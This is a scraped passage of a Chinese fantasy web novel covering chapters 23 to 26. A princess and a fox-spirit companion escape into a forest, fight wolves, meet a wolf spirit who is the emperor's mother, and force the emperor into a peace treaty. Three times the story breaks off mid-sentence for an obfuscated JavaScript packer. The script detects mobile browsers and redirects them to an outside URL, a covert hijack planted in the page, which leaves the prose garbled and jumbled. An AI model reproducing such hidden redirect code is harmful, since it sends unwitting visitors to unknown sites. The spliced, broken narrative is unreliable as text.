身后人忽地颤了下,整个扑上来,紧紧环住她的腰。 “怎么?”她微微侧过头,却也瞧不见身后的情形。 “阿南骑得太快,若不抱紧些,可得掉下去了。” 一如平日的贫嘴罢了。 “阿南,你说,我们能逃出去吗?” “我的骑术,你也质疑?” 她拐出金州城,追上前头的队伍,宋文玉见她来了,方才松了口气。 他负伤累累,手臂被长刀划出五寸的口子,鲜血淋漓地往下滴。军医站在一旁,忙着为他处理伤口,包扎完毕,方才行了礼数。 “殿下,”军医微微抬头,“可否将您身后这位伤者,先扶下来?” 叶之南眼皮一跳,忙让人将其抬下。 身后人许久未曾开口言语,整个身子的重量都压在她身上,她竟也久未察觉。 谢泽中了两箭,双双射在右背上,浸红了竹绿的青衣。他眼皮安详地闭着,也不知还有无意识。 背上似乎还有着他的重量,沉甸甸的,她扯了扯衣摆,摸到一丝粘稠的血迹。 混在血红的衣中,深深融作一色。 军医剪开背部的衣裳,仔细查看着。 伤口极深,内里的血肉全翻了出来,也不知未是否伤及脏腑。 况且这马上颠簸一路来,伤处怕是更严重了。军医摇摇头,也只敢心下暗暗想着,毕竟……是公主骑的马。 而公主目前正焦灼地瞧着他的动作。 “殿下,”斥候附在宋文玉耳边,耳语几句,他忙朝叶之南报道,“为防敌方追兵,咱还是先撤至虞城为好。” “大夫,他这伤势如何?” “得先将箭矢取出,方能看出一二——况且,箭仍插于血肉中,若是再受颠簸,怕是会加深伤口,伤及肺腑……” 叶之南抿了抿唇:“将军,烦请您带人先行撤退,还恳请大夫您留下,救人一命。” “殿下下令,小人自然遵从。” “阿南!” 宋文玉唤了她的闺名,语词带上了几分严厉。 “舅舅,我心意已决。” 她将人扶至马上,稳当地牵马徐行,朝一侧的山间小路走去。 树影迷迷,迷雾深深,杂草肆意生长,掩至半膝。 此山乃密林,野兽颇多,平常百姓万不敢进入,只偶尔一两个胆子大的猎户,装备齐全,方敢涉险狩猎,即使这般,也是进多出少。 “舅舅,还烦请您传信给师傅,师傅府上有一只信鸽,头顶生了一簇黑毛,若是还在,务必让赵岚云传信阳城谢家。” “这林深不知几许,后来人又如何能寻得你呢?” “赵岚云、谢家,都自有法子。” “殿下,这林中雾气虽散了些,但所见到底不过百步,若是夜深,恐还得起雾,彼时寒气突生,我们怕都难挨,何况谢公子……” 军医姓王,虽义无反顾,牵马随叶之南进了山林,却不免担忧。 “您所担忧的,我都明白,只是如今追兵在后,只得出此下策了。” 他们必须先藏起来,将箭矢取出,方能做稍后打算。 只是若要取箭矢,清水是必不可少的。 两人牵着马,徒步许久,循山谷而下,方才寻得一处水溪。 溪水倒映两岸古树,泛着幽幽碧绿,不知几许深。林中遮天蔽日,分明白昼,却阴沉若薄暮。 不知何处传来一二狼嚎,遥遥回响山谷,震得周边树叶沙沙响了起来。 “谢公子身上带血,易引来野兽,怕是自入这密林以来,便跟了我们多时了。” 山间野兽,嗅觉灵敏,闻到血腥味,便会如那恶犬扑食一般,蜂拥而上。 “您先将他身上的伤处理好,我自能保您周全。” 王大夫强镇下心神,打开背上的药箱,细细查看起伤势。 叶之南四处寻了些枯木,掏出火折子。一簇火苗乍起,团团直蹿,燎起半方篝火来。 野兽畏火,如此,也能拖些时间来。 “这水,可得烧开?” “是,劳烦殿下了。” 她打开随身携带的水壶,灌满了溪水,又搭上个木架子,将其悬在上方,任火舌舔舐。 水下汩汩冒着水泡,不知是鱼……还是其他。 “殿下,还烦请您打个下手。” “好,您直言便是。” 王大夫彻底褪下谢泽上半身的衣物,剥出个光滑细嫩的鸡蛋来,只不过这鸡蛋流了些蛋黄心。 他轻轻按了按两只箭矢身侧的皮肉,手下部分皮肉鼓鼓囊囊,应是那箭尖所埋之处。谢泽虽处昏迷,但随着他的动作,不时崩紧了肌肉。 “朝他口中垫些衣物,按住他,小人要动手拔箭,别咬了舌子。” 叶之南迅速撕下袖摆,两手捏住下骸,迫使他张开嘴,将布料团团塞了进去。 她径直坐在谢泽腿上,压住其下肢,双手绕后,环过其腰身,死死箍在怀里。 脖颈环住他的肩窝,固定他的头颅。 两人贴得紧密,发丝丝丝缕缕也缠在一起,让他半点儿也动弹不得。 王大夫不敢朝叶之南看去,只握紧箭身,按住后背,手臂向后一拉,迅速拔出箭矢。 银色的箭尖勾连着条条血丝,黏糊糊的,缠作一团,凝成了血块。 谢泽骤然挣扎起来,牙尖朝下一砸,咬在鲜红的纱衣上,他喉间嘶叫,又尽数被堵了回去。 叶之南却都看不见,只能瞧见王大夫扔在一旁的箭矢。 血珠荡不开,只汩汩渗入黑黄的土地中。 不时久便绽出了朵斑驳的褐色血花。 “嘀嗒。” 颈上突然滴落一粒水珠。 水珠圆滚滚的,落在她最为敏感的后脖颈上,却也未曾化开,只顺着衣襟,滚入后背的雪色里。 鼻尖分明满是血腥味儿,她却忽地感到一丝咸涩。 仿佛舌尖化开一粒汗珠。 谢泽眉头拧得很紧,死死纠在一起,额上虚汗却密密麻麻,由小变大,又落下一滴来。 周而复始,她的心也疼得抽搐起来,皓月白齿咬上了唇瓣。 “殿下,要拔第二根了。” 王大夫上完药,抹了把额上的汗,转了转手腕,再次握住箭身。 “嗷呜!” 身后再次传来狼嚎,他一时没稳住,手臂一抖。 “怎么?” 眼看王大夫面色不善,叶之南心下一紧,身后的狼群还有多远她尚且顾不着,只谢泽这伤又有变数,引得她蹙起弯眉。 “小人该死,竟手颤了一瞬,箭矢还能再拔,只是……狼群……” 她回过头去,已有五六匹黑狼绕着篝火,面露凶光。 饿狼还留着心眼,对火畏惧,不敢冲上前来。 她右手松开怀中人,抓起腰侧停梅。 “王先生,你安心拔箭。” 王大夫额上汗珠连连,慌忙点点头,再次握上歪斜的箭身。 叶之南缓缓拔剑出鞘,剑鞘相摩,声音刺耳得很,她抬起眸,眼露杀意,扫向不远处的狼群。 狼群没有再前进,但仍是虎视眈眈,似乎是在寻找时机。 人狼对峙,山谷间只回响着火苗噼里啪啦的细碎声,伴着汩汩流水,空灵,静谧。 一头狼屈下后肢,做好了进攻的态势。 “啊!” 谢泽喉间爆发一声嘶鸣,王大夫拔出第二支箭,身侧忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她拖着身子,又开始厮杀,眼前已看不清饿狼是否扑了上来,只一个劲儿地舞着剑。 鲜血劈头盖脸,分不清是来自人还是兽。 忽然,她的剑尖硬生生卡入饿狼牙缝中,竟纹丝不动,她霎时弃了长剑, “” 溪上忽地起了雾气 “齐琏,”她轻笑一声,“如今你的性命在我手上,竟还威胁起我了!” 外边忽然嘈杂起来,她隐隐感到不对,忽地听人来报:“敌军攻城了!” 手下忽地一紧。她死死掐住齐琏:“你倒真是不要命了。” 刀下人没有出声,她这才察觉出一丝不对劲来,摸上那人的下颌。 手用力揉搓几番,终于现了端倪。 今日倒是在自己挖过的坑里栽了跟头。 “城门状况如何?” “将军带人过去了,只是……恐怕撑不了许久。” 今日这般,怕是得退了。 只这一退……不知又要费多大的力气才能回来。 她将手中人一推,丢给手下:“将人带着,你们先后撤!” “可……” “听令,我自有安排。” 叶之南从茶楼飞奔而下,快步上马,直往城门奔去。谢泽瞧见,翻身点窗,一跃从窗边落下,正正被叶之南的马背接住。 “那人——” “并非齐琏。” “我可能认识……” “你认识?” 叶之南骤然拔高了声音,身下的马儿跑得更快了。 眼前的城门骤然被轰开,宋文玉撑着剑,高高立于城墙上,血色浸透了甲衣。 城外大军入境,一男子高高立于战车之上,披挂铠甲,银钢铁衣,熠熠生辉。 他俯视众人,将目光缓缓移向她身上。 “以其人之道还治其人之心,枝南,喜欢吗?” 谢泽:人形和阿南同床共枕是非礼,但狐狸又有什么关系呢?谁不喜欢 24. 娘亲 野狼轰然倒地,一道身影缓缓映入眼中。 谢泽面色发白,赤裸着上半身,手中匕首坠着嫣红的血珠。 身后的王大夫抱着药瓶赶来,额角发丝条条缕缕,全沾在面上。 他唇边肌肉颤了颤,终究没说什么,只叹了口气。 “小人先将殿下同谢公子的伤处处理好,此地还是尽早离开的为妙。” 溪面骤然起了雾。 雾气随着溪水弥漫开,直直朝他们扑过来,将人团团围住。不过一柱香的时间,眼前可见便只余了五步。 耳边忽地传来些声响,咕嘟咕嘟,又伴随着极重的脚步声,地面的泥土被震得飞扬起来。 “什么东西!” “护驾!” “皇上,金州城后的山脉久无人烟,诡谲多怪,为着您龙体着想,还是撤回为好啊!” “不过是些野兽罢了,备好弓箭,岂会敌不过一群畜生!” 齐琏歪歪脑袋,闭上双目,轻轻耸动鼻尖:“闻到没?好浓的血腥味。” 那马背上的人身中两箭,又岂会跑远,想来必是枝南带人藏入林中。 眼前浓雾怪异得很,骤起,又骤散。 他带着人继续朝深处走,却忽地顿住。 山谷下,一匹黑鸦鸦的野狼正飞速朝溪边奔去。 那狼几乎同他一般高大,足下矫健生风,眸中红光闪烁。 溪水里也同样不对劲。 水流如沸腾一般,咕嘟咕嘟冒着水泡。 突然,一道三尺巨浪竟从那“浅”溪中掀起,浇了岸边人满头。 “往后退!” 叶之南忙喝一声,眉头紧蹙。王大夫扶着谢泽,慌忙朝身后跑去。 溪底一物腾空而出。 长身银尾,鳞甲熠熠,银白的眼皮一掀,露出对碧蓝的眼珠。 蛟。 他扫视过来,略过叶之南一行人,在瞧见不远处驻足的野狼时,微微浮现出……一缕柔情? 溪面升起风暴,一卷卷水柱腾起,完完全全笼住那白蛟,他们微微后退几步,再抬眼时,白蛟已然消失不见,只余一翩翩素衣公子,垂散银发,从水中踏浪而来。 又是妖? 叶之南默默盯着眼前人,却也并未感觉到杀气。 那人径直掠过几人,朝黑狼走去。 “阿欢。” 阿欢是那匹母狼。 刚刚还令几人生畏的野狼霎时化为个风韵十足的女子,红唇红瞳,玄朱纱裙,面如傅粉,腮若红梅。 山腰处的齐琏霎时白了脸。 她瞧了瞧四处散落的狼尸,微微向前几步,靠近几人:“这是怎么了?” “我等在此疗伤,招来狼群攻击,为求自保,无奈争斗起来。” “弱肉强食,本是自然之理,它们既然敌不过你们,便是它们技不如人了……只是这位公子……” 她意有所指,谢泽领会其意:“小生狐族谢泽,见过前辈。” 她点点头:“若无其他事,你们便走吧。” 慕欢轻轻咬破指尖,在谢泽眉间一点:“如此,便无野兽再敢靠近你们了。” 几人道过谢,转身离开,却乍见齐琏从山腰间骑马冲了下来。 山风掀起他鬓角发丝,吹到他赤红的瞳孔旁。 叶之南瞳孔一缩,手指扣紧了停梅。 乌黑的马鬃毛掠过她的肩膀,直直朝身后二人奔去。 “唰!” 长剑出鞘。叶之南低头看了看安安静静躺在鞘内的停梅,猛然回过头来。 齐琏赤目圆瞪,长剑毫不犹豫地指慕欢的胸口。 但就定格在那里,再没有刺下去。 “阿岚,别动。” 她微微偏头,眼神轻轻瞥一眼白岚,止住他欲动作的手。 齐琏的剑逼得更紧了,轻轻戳在她的胸襟上。 “阿琏,好久不见。” “好久不见?”齐琏冷笑一声,“你根本不想见我吧。” 话是肯定,却带着一丝显而易见的期待。 期待什么?期待她的否定吗? 他的声音微微发着抖,眼白也渗出红血丝来。 慕欢轻轻叹口气,素指拨开胸口的剑尖。 “咱们好好谈谈?” “你同我回去,我们慢慢谈。” 齐琏顺着她的手垂下剑,闻言,忽然笑了起来。 “你如今连骗也不愿骗我了。” 笑声苍凉,可狠戾不减。 他望着眼前的女人,望着她毫不掩饰的红眸,脑海中又呈现出她由狼化人时的样子。 为什么?在这山野林间做个畜生,茹毛饮血,也比同他回宫,做他的娘亲强吗? “阿琏,我有自己的日子要过。” “你的日子,是他吗?” 他将长剑刎向白岚的脖颈,剑尖刺破那雪白的皮肤,流出银色的水液。 “慕琏!” 慕欢一掌推了过去,情急之下未控制力道,手中带了几分气力,将人推出一丈远。 齐琏捂住胸口,掀起眼皮,阴恻恻地盯着她,神色阴鸷。 “你为了他而伤我。” 他似乎在很平静地陈述着一件事实。 可叶之南看见他眼底呼之欲出的癫狂。 “既然你们都不要我,那便别留在这世上了。” 他发疯似地冲上前去,剑尖一顿乱划,白岚抬起手,却又被慕欢拦下,他侧眼瞥向慕欢,她只将人推开,不让他插手,自己处处躲着齐琏毫无章法的进攻。 慕欢到底心中不忍。 “你疯了吗?” “我疯了?”齐琏冷笑一声,剑尖骤然划破了慕欢手臂,刺痛传来,惹得她蹙了眉,紧紧捂住伤处。 “我没什么好疯的,如今这般,都是你们逼的。” 他竖起剑身,看着殷红的鲜血顺着银白的纹理流下,慢慢淹过一张扭曲的脸。 剑中倒映的红瞳,一点一点,被另一种红吞噬。 他轻轻舔过剑身血,舌尖勾出一道长长的水痕。 腥味在口腔中蔓延,滴滴点点渗到舌根,他却不觉餍足。 原来他是一头嗜血的狼。 白岚不知何时绕至齐琏身后,一脚踹向他的膝弯,力气分毫不省。齐琏猛受一脚,膝盖一软,踉跄几步,刚欲转过身来,被一掌按住左肩,那气力大如泰山压顶,硬生生将他压弯了下去,双膝直直磕在地上。 叶之南饶有兴味地围观齐琏吃瘪。白岚不知从何处又掏出一条长绳,水草深深的墨绿,三下五除二将人绑了个严实。 “熊孩子,好好跪几个时辰,待会儿再来处置你。” 他走向慕欢,仔仔细细查看了伤口,却似一时陷入了盲区,碧蓝的眼珠露出两分迷茫。 “我来我来,谢某医药世家,这等小伤不在话下。” 谢泽夺过王大夫的药箱,不顾伤口,几步跑上前来。叶之南刚想提醒他注意伤口,瞧见他眼中一闪而过的精光,瞬间闭了嘴。 这小子,估计又想拱火了。 “是了,狐族,精医术。” 白岚默默让开半步,放谢泽进来。 “哼,原来这也是个畜生。” 齐琏从腿到身被绑得严严实实,只可惜白岚忘堵住他的嘴。 “你也是啊。” 谢泽并未分给他一个眼神,但这四个字倒将人堵得哑口无言。 “伤口倒是不深,这药留给你们,每日换药,莫沾水。” 他将正事交代完,假装不经意,问道:“这人——你们打算怎么处置?” “处置?”齐琏闻言,似是听到什么笑话,颇为嘲讽。 白岚沉默,目光投向慕欢。 “好好谈谈吧。” “你同我回去。” “回去待如何,见你那父亲?”慕欢语气骤然生硬起来,所提之人,引得齐琏也便了神色。 “他已经死了,”齐琏略微平静些,直勾勾地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037037|140931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着慕欢,“如今我是齐蜀天子,你同我回去,便是太后,这个妖怪,你若是想要,留着做个面首,我也应允。” 白岚似乎不懂面首是何含义,但察觉出齐琏的恶意,冷下脸来。 叶之南将目光投向谢泽,看那人混迹三人之中,如鱼得水。 齐琏生母未明,自幼长在先太子妃膝下,照目前看来,这慕欢便是齐琏生母。 可慕欢为何弃齐琏于东宫,先太子妃又如何甘愿养下这样一个半人半妖、生母不明的孩子? “山野自在逍遥,我又何必去尘世寻那几多烦恼?我如今有自己的生活,不能全然围着你了,”她走近齐琏,蹲下身,“阿琏,当初是娘亲不对,可你跟着娘亲,活不下去。” 人妖苟合所生之子,半人半妖。若谢泽,便是得化妖形,却失了妖法之术;可若齐琏,便是只留得一双红瞳。 这等半妖,是最难在野外生存的。 而她兽性使然,离了齐慎,便难以融入人间生活,被弃几年,只能带着幼小的齐琏,以流浪乞讨度日。 将齐琏送入盛府之时,她又何尝舍得,可她远远看着他,看着他换上光鲜亮丽的绸缎,吃上渴望已久的佳肴。 她又想起怀孕时,齐慎给她所绘的图景。 “我们的孩子,定要做个顶天立地的男儿,上最好的学堂,请最好的师傅,你便做我的夫人,我们二人琴瑟和鸣、如胶似漆。” 可一切都在得知她为妖时变了。 不,或许原本就不是这样的。他早有了定好的太子妃。 那个姑娘尚未出嫁,便先做了母亲。 世情薄,人情恶,众生芸芸,又有几个能得所求。 白岚轻轻拍拍她的手。 “你已经长大了,况且那盛家的姑娘,是待你极好的……我如何也不能借你再去腌臜她。” “阿娘,母亲她没了。”齐琏垂眸,似乎泫然欲泣,声音颇带几分委屈。 “她也不要我了,所以,所以——”他抬起脸来,笑得天真却又诡异。 “我把她杀了——哈哈哈哈哈哈哈哈……” 那笑声颇带几分阴森,在空荡荡的山谷里回响,余音缭绕,反反复复。 “啪!” 慕欢瞪大了眼,满眼难以置信,未及反应,她便一巴掌重重扇了下去,在齐琏脸上留下五个鲜红的掌印。 “无论如何,盛家……盛静熙对你有恩,你怎能做出如此大逆不道之事!” 齐琏被扇得偏过头去,闻言,又转回脸来,生生扯出个笑来:“阿娘,你同我回去,管教管教我……” 慕欢连连后退几步,惊恐地摇摇头。 如今的齐琏,与他的父亲太像了。 一样的残忍、无情,却又会伪装得像模像样,不知何时骤然又变了脸。 “两位,”叶之南俯身听了听动静,“来人了。” 不远处,山腰上奔下几队将士,受树影阻碍,看不真切数量。 白岚微微抬手,轻轻打了个响指,四周骤然形成一片碧蓝的屏障,水光涌动,将外界隔绝开来。 “神妖灵怪不涉人间因果,”慕欢收回眼神,再未看向齐琏,“你走吧,你自己做的因,会有果报的。” 如他的父亲一般。 “烦请几位,将人送出去了。” 白岚将齐琏推至谢泽手边,可齐琏仍一动不动,只死死盯着慕欢。 “走吧,阿欢。” 慕欢没再回头,扑向地面,霎时化作先前那匹黑狼,从另一角,朝郁郁葱葱的山林奔去。 微风拂起浓郁的绿,层层叠叠,起起伏伏,满片碧水中,隐隐显出天光。 直到慕欢彻底不见了踪影,白岚才一挥袖,将绳索解开。 叶之南停梅出鞘,刎上齐琏脖颈,堪堪停在一寸距离。 白岚对此视而不见,纵身跃入水中,又一阵浪涛,四周水屏骤然消失不见,现出齐蜀将士来。 “齐琏,接下来,该谈谈我们的事了。” 25. 晕厥 叶之南将长剑抵在项颈上,此时的齐琏已然失了魂魄,只垂目而视。 将士们见皇帝落入敌手,纷纷不敢动作,只耽耽盯着叶之南。 先前皇上不知见了什么,发疯似地朝山谷冲。此处山林阴森茂密,雾气缭绕,这样一支队伍,行进本就不易,他们也追赶不及,颇费了些功夫才赶来。 未曾料到,这片刻功夫,便酿成大祸。 叶之南扫一眼过去,眼前将士虽不多,但也有百人,他们若想脱身,只凭武力,还得费一番力气。 况且她与谢泽皆负伤,更别提还有个不懂武艺的王大夫。 “齐琏,齐都——你可真是不顾了?” 她未等到身前人的回答,膝盖一弯,狠狠顶到齐琏的小腿,总算将他唤回神来。 “朕自留有部署。” “部署?你那部署,可是赵家那位?” 齐琏微微皱了眉,但并未出声。 “赵任位高权重,手握重兵,你可真放得下心。”她轻轻蹭了蹭剑刃,在他衣襟上抹了抹血迹。 齐琏自然知晓其中利弊,赵家若再立功,便只能封王,之后,便升无可升。 他虽是依着赵家起的势、上的位,但如今赵家权势滔天,外戚、兵权……这由不得他不忌惮。 他最厌恶受人挟制。 无论对象是赵家,亦或叶之南。 “那又如何,比起赵家,你们才是更让朕放不下心的人吧。” 叶之南冷笑一声,低声道:“你们的粮草,如何了?” “这就不劳你担心了。” “是吗?”她神色玩味,“不知各位弟兄们,身子如何了?” 眼前将士神色瞬间变了,狐疑地盯着叶之南,却碍于齐琏,又收敛了些。 可就连齐琏也微微变了脸色。 “枝南姑娘真是神通广大,人走了,手还能留在齐蜀。” 近日齐蜀士兵异样频频,日日都有人举止怪异,胡言乱语,若只是那少数人,倒也说明不得什么,可那人数竟与日俱增,最后下面实在瞒不得,方才报上他耳中。 然而军医查了许久,却一无所获。 “你若是同昭王议和,不仅枫禾退兵,齐蜀失地退还,这将士的身子,我也能为你查出个原因来,你这性命,我自然也动不得,哦,对了,”她微微贴近,压低声音,“你这半妖身,我们自然也就不知了。” “不知璟桓帝,意下如何?” “你要的——恐怕不止是退兵吧。” 齐琏语气已然松动几分,如今命悬她手,又处处受人掣肘,他怎么也得好好思量几分了。 “若是早晨,还只是退兵,可现在,以一换五,未免太过划算了,”叶之南瞧见一只飞虫,落在齐琏肩上,“我还要解药,以及——金州。” “金州?又是借我的兵?你们南知人真有意思,个个都来借刀杀人,”他摇摇头,但很快又被压紧的剑刃逼得直起了脖子,轻笑一声,“解药,我自当双手奉上。” “为表诚意,璟桓帝派来那人,我们也当完璧归赵。” 谢泽拱手,却是说出了叶之南所料未及的话语,她凤眸微睁,将谢泽狠狠瞪了回去。 他如今真是得寸进尺,竟也敢越过她来做这决定了。 他认识那人……哼,他倒是也会吃里扒外了。 叶之南到底给了他这个面子,未曾驳斥。 “既然如此,枝南姑娘这剑,也得入鞘吧。” “待出这林子,给我备上两匹马,签上和约,拿到解药,这利刃自然落不到你身上。” 三人一剑一人质,逼得百来位将士收了刀剑,连连后退,不知是因为人多势众,还是谢泽眉间一抹血起了作用,直退至官道上,也未有野兽骚扰。 齐琏唤人递来笔纸,谢泽从容接过,字字写好了和约,供二人一览。 “待昭王铲除逆贼,一统南知,自当归还榆、梧二城,”齐琏微微歪了脑袋,贴向叶之南,“是你的意思吗?” “自然,这军中之异,待你退兵槿城,我也自当书信告知。” “好默契,”他鼓了鼓掌,接过毛笔,洋洋洒洒签上姓名,盖下章印,“马儿备下了,各位,请吧。” “解药呢?” “待二城归还,我自当双手奉上,只看昭王殿下,能否撑得过六个月了。” “你——”谢泽猛地冲上前去,却又不小心牵扯到伤口,顿了步伐。 “各退一步,方是议和之道——二位,请吧!” “上马!”谢泽还想再说些什么,却被叶之南一声喝住,断了念头。 王大夫小心翼翼扶着人上马,待二人坐定,叶之南方推一掌,将齐琏送至士兵身前,迅速转身,翻身上马。待齐琏回身,早已不见踪迹,只余了几缕马蹄残留的烟尘。 “将军!将军!殿下回来了!” 宋文玉闻言,忙起身,几步奔出营帐,正瞧见叶之南。她受人搀扶着,身子上多了许多伤痕,似被什么撕咬出来的,只粗粗止了血。 “将军,回去吧,接管金州。” 言罢,她竟转眼晕了过去。 谢泽一把将她扶住,遣人送回营帐,这才递来和约文书。 宋文玉接过文书一览,又经王军医娓娓道来,方才知前因后果。 他收了文书,沉吟半刻:“整装,回城!” 谢泽垂眸,背上的伤又开始隐隐作痛,先前施的秘术渐渐褪去了效力。 “一切都该好了。” 他望向远处,虞城山色空蒙,刚是经了一番烟雨。 雨后天晴,那头是莞城,前头是金州。 夏风拂面去,他身子一软,也无了意识。 再醒来,已是三日后了。 叶之南缓缓睁开眼,只觉身子软绵绵的,四肢乏力。她微微动了动,发现自己被纱布包得严严实实,左臂、右腿……她无奈躺了回去,不时,便来了个小丫鬟。 “公主……公主醒了!” 小姑娘一溜烟儿跑了出去,唤来大夫,又是上上下下一番查看,得出“无碍,静养”的结论,便退了下去。 她抬眼,又对上几张熟悉的脸。 宋扶云与赵岚云。 “姐姐感觉如何?可想进些食?” 她刚欲开口,却觉口干舌燥,宋扶云正欲唤人倒水,赵岚云已先跑到案几前,端茶倒水,一气呵成。 “我昏睡了几日?如今局势如何?” “整整五日,如今金州收回,齐蜀退兵,阿淮一鼓作气,又攻下了平阳县。” 叶之南安了心,紧接着又想起些什么:“谢泽呢?如何不在?” 宋扶云抿了抿唇,朝赵岚云投去一眼,神色犹豫。 赵岚云不解其意,倒是开口直言:“谢泽哥哥似是用了狐族秘术,这半会儿还未醒来,我请姐姐写信,让那信鸽传了过去,如今他爹娘恐怕正赶来呢。” 狐族秘术?叶之南微微蹙了眉。难道不只是中了箭吗?何时又用了秘术? 莫非……是在那山谷之时? 她道谢泽如何恢复得这般迅速,起初只以为是妖类体质天生特殊,如今想来方是疑点重重。 “我去瞧瞧。” 她用伤势较轻的那只手掀开被褥,正欲下榻,却被宋扶云拦住:“那边已安排人守着了,你再去也是无用,好好养着身子便是了。” “他也是为救我而伤,是我欠他的。” “你们……唉……” 宋扶云叹了口气,这二人何必这般欠来欠去的,好不自在! 但她到底忍下这话,只轻轻摇摇头。 叶之南拍了拍腿,语气轻松:“瞧,好着呢!姐姐在外摸爬打滚的,这点儿伤算不得什么,还是——啊!” 她眉毛全拧作一团,反应过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶之南微微用了几口:“撤了吧,此时没胃口,也别倒了,待会儿热热再吃。” 丫鬟们收拾着,她给赵岚云递了个眼色:“我先小憩一会儿,你们都出去吧。” 她假意闭眼,等门外动静都散了,方才强忍着起身。 帐边摆了根木拐,她柱起来,朝外迈去。 门外无了守门的侍女,也不知赵岚云这孩子使了什么招数。 她按着赵岚云所指的西厢房走去,过了拱门,却直直撞上一群人,正悠悠朝东厢房走去。 这是? “皇姐!怎地起来了!”宋扶云一偏头,正正瞧见她,她躲也不是,只得站了出来。 “我……” “罢了,”宋扶云看她这幅样子,心下也猜到了缘故,“谢家老爷和夫人都到了,如今正准备去瞧瞧谢公子呢,皇姐便一道吧。” 她唤来两个丫头,只道好生扶着人。 叶之南朝她身后一望,瞧见一对夫妇,女子绿衣罗裙,袅袅娉娉,冰肌白骨,粉黛香腮,两蹙眉引远山,一双眼若秋水,谈笑间,天然媚意自生,那男子也是同色绿袍,虽四十上下,面目有些岁月痕迹,但掩不住神清骨秀,举手投足间颇带几分庙堂意。 “这位是——” “南知公主,昭王皇姐,叶之南,皇姐,这位便是谢老爷同谢夫人了。” “我等不知,倒是冒犯了,”睢宁虽得知其身份,但也不卑不亢,微微福了身,“殿下万安。” 叶之南无心挂念这些礼节,胡乱回了礼。 “殿下不必担忧,小子虽用秘术,但伤不得根本,如今昏迷,也不过补养秘术所耗生气罢了,待我微微施术,不日便能醒来。” “那便再好不过了,谢公子在出此变故,不光本宫,便是昭王也实在着急。” 叶之南知晓谢泽并不严重,也放下心来。转念又想到他毕竟是在叶之淮的地盘出的事,若是影响两国邦交,又是不妙了。 睢宁闻言,心下倒微微吃了一惊。她刚看叶之南,着急尽显在神色上,如今却又变换自如,牵扯到公事上来。 她客套两句,眼睛却上上下下仔细打量了一番。 这姑娘,内里已然毒入骨髓。 26. 服药 叶之南并未察觉睢宁心中所想,仍是颤颤巍巍,随众人入了西厢房。 谢泽面色惨白,唇角发黑,直挺挺地躺在床榻上。 众人皆噤了声。 睢宁把了脉,眉眼舒展,轻轻扣了扣床榻,谢司才拦下众人:“诸位先出去吧,睢宁治病,还请旁人回避。” “还请公主殿下暂留。” 叶之南闻言,住了脚步,眸中闪过一丝疑惑,但到底没多问什么,只在一旁坐下。 睢宁闭上眼睛,双指竖于唇边,口中念念有词。半晌,一束青绿的光辉缠上指尖,她咬破食指,血珠嫣红,破出指腹。 叶之南倒是第一次见人,不,见妖施法,她奇异地盯着那抹青绿,它似欲撞进血珠,却如何也融不进去。睢宁用食指轻轻抹上谢泽的唇瓣,压上一压,将血珠完全渗了进去。 那抹青绿竟顺着唇缝,钻了进去。 “血引术,”睢宁未转回头来,但似发现了她的惊异,“狐族秘术,引草木灵气,以狐血引之,导入人体。” “草木灵气,便足以唤醒病人了吗?” “晕厥之人,外界无法唤醒,便只能由内部而醒,自内而醒的法子也不少,下毒、施蛊,不过皆是有害之法,而一缕混合的草木灵气,融不入体内,横冲直撞,也能将人闹醒。” 叶之南沉默一瞬,她似乎隐隐揣测到睢宁的意图,但仍有些说不清道不明。 睢宁应是觉察到了她体内的毒蛊,只是……这与血引术又有何干系? 她猛然想起些什么,睁大了眼睛。 “殿下,您早该服药了吧。” 五月十五乃月圆之夜,可今日,已然五月二十了。 那日匆忙,她尚未来得及服药,便晕厥过去。 只是……毒蛊为何又没发作? “睢宁娘子所言不错,只……敢问我这毒,为何并未发作?” “不过一次侥幸罢了”睢宁避开了话头,再次把上了谢泽的脉,“下月仍需服药,殿下万不可掉以轻心。” 叶之南瞧出了她的隐瞒,微微点头,没再问些什么。 她随着睢宁起身,最后将视线落在谢泽身上,他脸色仍是苍白,胜似冬日梅上雪,眉目清绝,比起醒时,多了分雅静,却少了十分生气。 只唇间有了抹血色,还是刚刚印上去的。 不知为何,叶之南心中忽然闪过一丝恐惧,仿佛……八年前逃出的那一夜。 那一夜,她隐隐约约知道,很多人,再也见不到了。 自幼伴在她身边的小宫女们,打着幌儿逗她乐的小太监们,曾经嬉闹又和好的姐妹们……以及,给她唱小曲儿的母后,远远望着她骑射的父皇。 他们死时,是否也是那样一张惨白的脸,唇角一抹嫣红的血? 如果……如果,谢泽不在了? 她猛然甩开这个念头,攀住睢宁的手臂。 “敢问娘子,谢泽他何时能醒来?” “这便不知了,总之是活着,自有命数,”睢宁拉上木门,“您看我们这做爹娘的都不担忧,便也放心罢。” 是的,无碍,无碍。这是早就知道的,可为何原本已经放下的心,又突然提了起来? 因为他那吓人的脸色吗? 叶之南努力摒下这稀里糊涂的心思,插入几人的闲谈之中。 一行人用过膳,谢司才便携睢宁告辞。纵然宋扶云几番挽留,却仍是未曾劝住。 “这夫妇二人也着实奇怪,孩儿昏厥不醒,倒也不担忧,只来治个病,便又乐呵呵地走了。” “看他二人如此模样,想来谢泽哥哥也并无大碍了。”赵岚云不知从何处蹿了出来,轻轻打了个哈欠。 “赵岚云!”宋扶云轻轻捏住她的耳朵,“还没寻你算账呢,本让你守着姐姐,怎地还把她放了出来?” “诶哟,扶云姐姐,好疼,好疼!我错了……” 